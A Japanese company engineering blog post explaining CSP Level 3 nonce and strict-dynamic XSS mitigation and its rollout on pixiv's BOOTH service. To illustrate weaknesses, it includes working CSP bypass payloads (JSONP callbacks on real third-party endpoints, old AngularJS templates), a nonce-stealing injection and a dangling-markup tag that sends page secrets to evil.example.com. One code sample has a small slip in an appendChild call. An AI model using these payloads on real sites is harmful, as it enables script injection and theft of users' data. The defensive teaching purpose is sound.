こんにちは、セキュリティエンジニアのkoboです。ピクシブには2018年4月に入社しており、セキュリティ観点でのアプリケーション開発や脆弱性報奨金制度の運用などを行っています。 本記事では、現在ピクシブの一部のサービスで取り組んでいるContent Security Policyについて知見を共有します。
概要
Content Security Policy (CSP) は、XSSを主としたウェブアプリケーションセキュリティの問題を軽減するために考案されたブラウザのセキュリティ機構です。
ウェブアプリケーションは、 Content-Security-Policy
ヘッダをHTTPレスポンスに含めることで、意図していないJavaScriptの実行やリソースの読み込みをブラウザ側で制限することができます。
CSPは2012年頃よりブラウザに実装されていますが、2016年のGoogleの調査によりCSP Level 2まで推奨とされてきたXSS対策の方法における脆弱性が指摘されました。
現在、この問題に対する解決策を含むCSPの新しいスタンダードであるCSP Level 3がドラフトとして策定されています。
CSP Level 3では strict-dynamic
という新しいディレクティブが追加され、これまでよりもセキュアかつ容易にCSPを導入することが可能になりました。
現在、ピクシブのBOOTHというサービスでは従来のCSPからこの strict-dynamic
とnonceを用いたCSPへの移行を進めています。
本記事では、CSP Level 3において可能になる strict-dynamic
とnonceを用いたXSS対策について解説します。
Content Security Policy Level 2までのXSS対策
CSPは script-src
, img-src
, style-src
など様々なディレクティブによりJavaScript、画像、CSSなどの外部リソースの読み込みや実行を個別に制限することができます。この中でXSS対策において必要となるのは script-src
, object-src
, base-uri
の3つです。他のディレクティブによる保護はXSSが可能な状況ではバイパスできることが多いため、この3つのディレクティブによりXSSを防ぐことが最重要です。
CSPではドメインのホワイトリスト、nonce、またはハッシュという3つの方法によりJavaScriptの実行を制限することができます。 この項目では、これまで推奨とされてきたドメインのホワイトリスト方式と、今後推奨とされるnonce方式を比較します。ハッシュ方式は使用されることが少ないため、本記事では割愛します。
ドメインのホワイトリスト方式
CSP Level 2までは、 script-src
ディレクティブにJavaScriptの読み込みを許可するドメインのホワイトリストを記述することで、信頼されないJavaScriptの読み込みを防ぐというのが推奨されるXSS対策の方法でした。
以下のようにCSPヘッダを設定することで、指定されたドメインからのみJavaScriptを読み込んで実行するようになります。特に記述しない限り、インラインスクリプトも実行されなくなります。
# 'self' と trusted.example.comのJSのみ実行を許可する | |
content-security-policy: script-src 'self' trusted.example.com | |
# 上記に加えてinline scriptの実行も許可する (XSS対策としての恩恵はほぼ無い) | |
content-security-policy: script-src 'self' trusted.example.com 'unsafe-inline' |
JavaScriptの実行制御は以下のように行われます。
HTTP/2 200 | |
content-type: text/html | |
... | |
content-security-policy: script-src 'self' trusted.example.com | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- 'self' ドメインから読み込んだJavaScriptなので実行される --> | |
<script src="/js/application.js"></script> | |
<!-- 'trusted.example.com' ドメインはホワイトリストに入っているので実行される --> | |
<script src="https://trusted.example.com/analytics.js"></script> | |
<!-- 'evil.example.com' ドメインはホワイトリストに入っていないので実行されない --> | |
<p>「<script src="https://evil.example.com/xss.js"></script>」の検索結果</p> | |
<!-- inline scriptは実行されない --> | |
<p>「<script>alert('XSS')</script>」の検索結果</p> | |
</body> | |
</html> |
nonce方式
CSP Level 3においては、nonceによりJavaScriptの実行を制限することが推奨されています。 この方法では、HTTPレスポンスのCSPヘッダにそのレスポンス内でのみ有効なnonceを付与し、それと同じnonceをHTML内の各scriptタグにnonce属性として付与することで、信頼されたJavaScriptのみ実行されるようにします。
JavaScriptの実行制御は以下のように行われます。
HTTP/2 200 | |
content-type: text/html | |
... | |
content-security-policy: script-src 'nonce-random123' | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- 正しいnonceが付与されているので実行される --> | |
<script src="/js/application.js" nonce="random123"></script> | |
<!-- 正しいnonceが付与されているので実行される --> | |
<script nonce="random123">doCoolThings()</script> | |
<!-- nonceが無い又は間違っているinline scriptは実行されない --> | |
<p>「<script>alert('XSS')</script>」の検索結果</p> | |
</body> | |
</html> |
ドメインのホワイトリスト方式の問題
ウェブのCSP運用の実態からして、ドメインのホワイトリスト方式による効果的なXSS対策は困難であるとされています。 その原因は、script-srcにホワイトリスト指定されるドメインの安全性をウェブ開発者が担保することが難しく、また、ホワイトリスト指定されている著名なドメインの多くがCSPバイパスを可能にするようなエンドポイントを提供しているためです。 2016年にGoogleが公表した調査では、script-srcに指定されている主要なドメインの大半がCSPバイパスに使用可能であることが明かされています。また同調査では、このことからCSPを使用しているサイトの内94%は「自明にバイパス可能」であるとされています。
CSPバイパスに使うことができる広く知られた手法として、ホワイトリスト指定されたドメイン上のJSONPエンドポイントを利用する方法と、AngularJSを利用する方法があります。 以下の表には、script-srcに最も頻繁に指定される各ドメインがこの2手法によりバイパス可能であるかどうかがまとめられています。 Google Analyticsなど、多くのサイトで信頼されているドメインもCSPバイパスに利用可能であることが示されています。
上記ペーパーの著者が開発した CSP Evaluator というアプリケーションを使用すると、あるサイトが「自明にCSPバイパス可能」かどうかを確かめることができます。
以下に、上記2手法によるCSPバイパスについて例を上げて解説します。
JSONPエンドポイントを利用したCSPバイパス
script-src
で信頼済みのドメイン上に、一定条件を満たしたJSONPエンドポイントが存在するとCSPバイパスが可能であることが知られています。
例えば、ホワイトリストで信頼された trusted-site.com
に以下のようなJSONPエンドポイントがあるとします。GETの callback
パラメータに指定した文字列がレスポンスの先頭 (関数名) として出力されます。
リクエスト
GET /jsonp?callback=alert(1);// HTTP/2 | |
Host: trusted.example.com | |
... |
レスポンス
HTTP/2 200 | |
content-type: application/javascript | |
... | |
alert(1);//({"headers":{"status":200,"maxPosition":"1032699722652237824", ...略... |
この場合、このエンドポイントをscriptタグのsrcに指定することでCSPをバイパスすることができます。
HTTP/2 200 | |
content-type: text/html | |
... | |
content-security-policy: script-src trusted.example.com | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- inline scriptなので動かない --> | |
<script>alert(1)</script> | |
<!-- trusted.example.comから読み込んだscriptなので動く --> | |
<script src="https://trusted.example.com/jsonp?callback=alert(1);//"></script> | |
</body> | |
</html> |
なお、この例では説明のためにかなり都合の良いJSONPエンドポイントを仮定しています。
実際には、多くの場合callbackパラメータは alert(1);//
のような任意の文字列は受け付けず、 [A-Za-z0-9_\.]
(英数字、アンダーバー、ドット) のみを受け付けるためここまで自由な関数名の指定はできず、したがって任意のJavaScriptの実行 = 完全なXSSはできません。
しかし、英数字とドットのみでも十分に意味のある攻撃が可能です。以下のようなcallbackパラメータで、同じドメイン上の任意のページ内の任意のコンテンツのクリック = 任意のユーザーインタラクションを行うことまで可能であることが知られています。
callback=document.body.firstElementChild.firstElementChild.nextElementSibling.click
document.body
からDOMをトラバースしてページ内の任意のコンテンツをクリック
callback=window.opener.document.body.lastElementChild.firstElementChild.submit
- SOME (Same Origin Method Execution) attackという手法を用いると、
window.opener
を通じてJavaScriptを実行するコンテキストを別ページに移すことができます。↑の方法と組み合わせて、同じドメイン上の任意のページ内の任意のコンテンツをクリックすることが可能になります。
- SOME (Same Origin Method Execution) attackという手法を用いると、
ピクシブにおいても、BOOTHというサービスの一部においてドメインのホワイトリスト方式のCSPを導入していましたが、実際に下記のようなJSONPバイパスが可能でした。
これはBOOTHが作り込んだ脆弱性というわけではなく、 *.twitter.com *.twimg.com www.google-analytics.com
という広く信頼されておりサービス運用上必要不可欠なドメインをホワイトリスト指定していたために抱えていた問題でした。
HTTP/2 200 | |
content-type: text/html | |
... | |
content-security-policy: script-src 'unsafe-eval' 'self' *.pixiv.net *.pawoo.net *.twitter.com *.twimg.com www.google-analytics.com connect.facebook.net www.googletagmanager.com ...略...; | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- twitter.com, twimg.comから読み込んだscriptなので動く。twimg.comのJSONPに指定したwindow.alertが動く --> | |
<script src="https://platform.twitter.com/widgets.js"></script> | |
<script src="https://cdn.syndication.twimg.com/timeline/profile?callback=__twttr/window.alert&screen_name=twitter"></script> | |
<!-- Google Tag Managerでは任意のJSを埋め込むことができる。alert(document.domain)が動く。'unsafe-eval'が必要 --> | |
<script src="https://www.google-analytics.com/gtm/js?id=GTM-N4CGQQQ"></script> | |
<!-- これはinline scriptなので動かない --> | |
<script>alert(1)</script> | |
</body> | |
</html> |
JSONPバイパスに利用可能な具体的なエンドポイントの例は以下に見ることができます。
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
Angular.jsを利用したCSP Bypass
ホワイトリスト指定されたドメイン上に古いバージョンのAngular.jsが存在する場合、それを読み込ませた上でAngularのテンプレートを注入することでCSPをバイパスしてJavaScriptを実行することができます。この条件に該当する広く知られたドメインとして ajax.googleapis.com などがあります。
HTTP/2 200 | |
content-type: text/html | |
... | |
content-security-policy: script-src ajax.googleapis.com | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- ホワイトリストで許可されたajax.googleapis.comから古いバージョンのangular.jsを読み込む --> | |
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> | |
<!-- 読み込んだAngularにスクリプトを実行させる --> | |
<div ng-app ng-csp ng-mouseover=$event.view.alert('XSS')> | |
... | |
</div> | |
</body> | |
</html> |
Angular.jsバイパスに利用可能な具体的なエンドポイントの例は以下に見ることができます。
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
Content Security Policy Level 3
nonce + strict-dynamic
ドメインのホワイトリスト方式による意味のあるXSS対策が本質的に困難であることがわかったため、次はnonce方式のXSS対策がよりふさわしいと考えられるようになりました。
一方でnonce方式のXSS対策にも、実際に導入するためのリファクタリングコストが大きい、ないしはサードパーティライブラリやウィジェットへの依存関係から実質不可能であるという問題がありました。 nonce方式のXSS対策では一つ一つのscriptタグにnonceを付与していく必要がありますが、現実のウェブアプリケーションでは動的にscriptタグを生成してDOMに追加するようなことが広く行われており、アプリケーションの機能を壊さないためにはこういった動的に生成されたscriptタグにも一つ一つnonceを付与していくように実装を修正する必要があります。こういった処理は著名なサードパーティライブラリやウィジェットによっても行われており、nonce方式のCSPの導入障壁となっていました。
そこで、nonce方式のCSPの導入を容易にするために、新たに strict-dynamic
というディレクティブが追加されました。
CSPの script-src
に strict-dynamic
を指定すると、以下のようにブラウザの挙動が変わります。
1. nonceによるscriptの実行制御が強制される ( script-src
にドメインのホワイトリストを書いても無視される)。
2. nonceにより実行を許可されたscriptから動的に生成された別のscriptも実行が許可されるようになる。
2.の仕様によりscriptの子script、孫scriptに実行権限が伝播していくようになり、先程のnonce方式の導入障壁となっていた問題が解決されるようになりました。 この仕様はCSPの制限を緩めているように見えて、これを悪用して実際にXSSを試みる者はまず最初に何らかの方法でnonceを手に入れて最初のJavaScriptを発火させる必要があるため、安全性は保たれています。
具体的には以下のような制御が行われます。
HTTP/2 200 | |
content-type: text/html | |
... | |
content-security-policy: script-src 'nonce-random123' 'strict-dynamic' | |
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- nonceが付与されているため実行される --> | |
<script nonce="random123">doGoodStuff()</script> | |
<script src="https://cdn.example.com/application.js" nonce="random123"></script> | |
<!-- nonceが付与されているscript内でcreateElementした別のscriptも実行を許可される --> | |
<script nonce="random123"> | |
var s = document.createElement('script'); | |
s.src = 'https://cdn.example.com/dependency.js'; | |
document.head.appendChild('s'); | |
</script> | |
<!-- nonceの無いscriptは実行されない --> | |
<p>「<script src="https://cdn.evil.example.com/xss.js"></script>」の検索結果</p> | |
<p>「<script>alert('XSS')</script>」の検索結果</p> | |
</body> | |
</html> |
Googleはこのアプローチを Strict CSP と呼んでおり、 strict-dynamic
登場以降はこれが推奨されるCSPによるXSS対策の方法だとしています。
また、多くのアプリケーションに適用できる必要最小限のCSPの書き方として、以下のような書き方を推奨しています。
Content-Security-Policy: | |
script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:; | |
object-src 'none'; | |
base-uri 'none'; |
この書き方について少し解説を加えます。
object-src
はフラッシュ系のXSS対策に必要で、特に必要がない限り none
にすることが推奨されます。
base-uri
はbaseタグの注入によりsrcを相対パスで指定しているJavaScriptの読み込み元ドメインを変更することによるXSSへの対策に必要で、 'none'
または 'self'
が推奨されます。
script-src
言わずもがなですが、この書き方ではあえて後方互換性のある書き方をしている点に注意が必要です。
- CSP Level 3の strict-dynamic
をサポートしているブラウザでは nonce-{random} 'unsafe-eval' 'strict-dynamic'
のみ解釈され、その他は無視されます。
- CSP Level 2までのみサポートしているブラウザでは 'nonce-{random}' 'unsafe-eval'
のみ解釈され、その他は無視されます。
- CSP Level 1のみサポートしているブラウザでは 'unsafe-inline' 'unsafe-eval' https: http:;
のみ解釈され、その他は無視されます (XSSに対する保護を行いませんが、アプリケーションの機能を阻害しません)。
この後方互換性は全てのブラウザをカバーしており理想的なように見えて、実はnonceの存在が曲者です。
CSP Level 2までのみサポートしているSafari (iOS Safari含む) やEdgeでは strict-dynamic
を無視してnonceによる保護を適用するため、nonceの付与されない動的に生成されたscriptが実行されず、アプリケーションの機能を阻害してしまいます。
そのため、現在のブラウザサポート状況でアプリケーションの挙動を壊さずに strict-dynamic
を導入するには、ブラウザを判別した上でCSPヘッダの出し分けを行うことが必要になります。
ブラウザのサポート状況
strict-dynamic
ディレクティブは現在以下のブラウザによりサポートされています。
- Google Chrome >= 52
- Mozilla Firefox >= 52
- Opera >= 39
EdgeではUnder Consideration、SafariではNo Public Signalになっています。
導入事例
strict-dynamic
を使用しているサービスはまだ少ないですが、GmailやGoogle Calendarのような一部のGoogleのサービスでは strict-dynamic
をサポート済みのブラウザ向けには strict-dynamic
を使用しています。
Content-Security-Policy: | |
script-src 'report-sample' 'nonce-EevuH+nRF0kqqwyAx2IoY7rT1RM' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval'; | |
object-src 'none'; | |
base-uri 'self'; | |
report-uri https://mail.google.com/mail/cspreport |
注意するべき攻撃
Dangling Markup Injection Attack
nonce方式のXSS対策は堅牢ですが、やはり銀の弾丸ではありません。依然としてコンテンツインジェクションはウェブアプリケーションにおいて脅威になります。Dangling markup injection attackのような攻撃では、ページ内コンテンツの窃取やnonceを窃取することによるXSSが可能になります。そのため、信頼できない文字列のエスケープなど基本的なXSS対策は今後も必要になります。
Nonce stealing
XSSを試みる攻撃者が事前にnonceを知ることができなくても、以下のようにscriptタグを注入することで攻撃者の注入したコードを実行することができます。
<html> | |
<body> | |
<script src="data:text/javascript,alert('XSS')" | |
<script nonce="random123">doGoodStuff()</script> | |
</body> | |
</html> |
このように、nonceを付与された正規のscriptタグの前にあえて中途半端なscriptタグを注入することで、続くscriptタグごとnonceを食い取ってしまうことができます。
この攻撃に対して、Chromeはscriptタグに <script
という属性名/属性値がある場合にはそのタグを無視するように修正することで対処しています。
https://github.com/whatwg/html/issues/3257
現在Chrome以外のブラウザではこの攻撃はまだ成立しますが、他のブラウザでもいずれ対処されると考えられます。
Content exfiltration / Scriptless attack
CSPによりXSSができない場合でも、HTMLを注入することにより情報窃取が可能になる場合があります。 こういった攻撃は、JavaScriptを用いないためにScriptless attackやPost-XSS attackなどとも呼ばれます。
以下のように中途半端なHTMLタグ (例ではimgタグ) を窃取したい情報の前に注入することで、攻撃者は情報窃取を行うことができます。
<html> | |
<body> | |
<img src='//evil.example.com/aaa?x= | |
<p>Ultra secret credit card number: 1234-5678-9012-3456</p> | |
<p>Ultra secret password: passpasspass</p> | |
<input name="csrf_token" value="o6OuUhQZ12GVwRAATjjvbTVvB68yAa3P"></input> | |
' | |
</body> | |
</html> |
あえてsrc属性を閉じていない中途半端なimgタグを注入することで、ページ内の次の '
によりsrc属性が閉じられるまでのHTMLをURLの一部として食い取ってしまうことができます。この結果、以下のようなリクエストがevil.comに送られるため、攻撃者はページ内の情報を盗むことができます。URLの末尾に窃取するHTMLがURIエンコードされて加えられます。
GET /aaa?x=%20%20%20%20%3Cp%3EUltra%20secret%20information%20below%3C/p%3E%20%20%20%20%3Cp%3EUltra%20secret%20credit%20card%20info:%20xxxx-xxxx-xxxx-xxxx%3C/p%3E%20%20%20%20%3Cp%3EUltra%20secret%20credit%20password:%20passpasspass%3C/p%3E%20%20%20%20%3Cinput%20name=%22csrf_token%22%20value=%22o6OuUhQZ12GVwRAATjjvbTVvB68yAa3P%22%3E%3C/input%3E HTTP/2 | |
Host: evil.example.com | |
... |
この攻撃は現在どのブラウザでも成立しますが、Chromeでは改行やホワイトスペースを含むURLがsrc属性に指定されている場合にDeprecation warningが出るようになっています。
Blocking resources whose URLs contain both \n
and <
characters. - Chrome Platform Status
まとめ
Content Security Policyによりウェブアプリケーションのセキュリティを大きく向上させることができます。
以前は導入障壁としてインラインスクリプトの整理やホワイトリストドメインの洗い出しなどといった高いコストが必要でしたが、多くのアプリケーションにとってnonce + strict-dynamic
のアプローチではその障壁が下がることが考えられます。
現在、ピクシブではBOOTHというサービスの一部でnonce + strict-dynamic
によるCSPの導入を進めています。
導入の過程で直面したエンジニアリング上の問題や使用したツールなどについては、後日別の記事にて紹介する予定です。
ピクシブでは、自らの手でサービスをセキュアにしたいエンジニアを募集しています。
ピクシブでは脆弱性報奨金制度を実施しています。ピクシブのサービスに脆弱性を発見した場合、以下のページからご報告をお願いします。 https://bugbounty.jp/program/0602f8c6f136dbbd92fbb909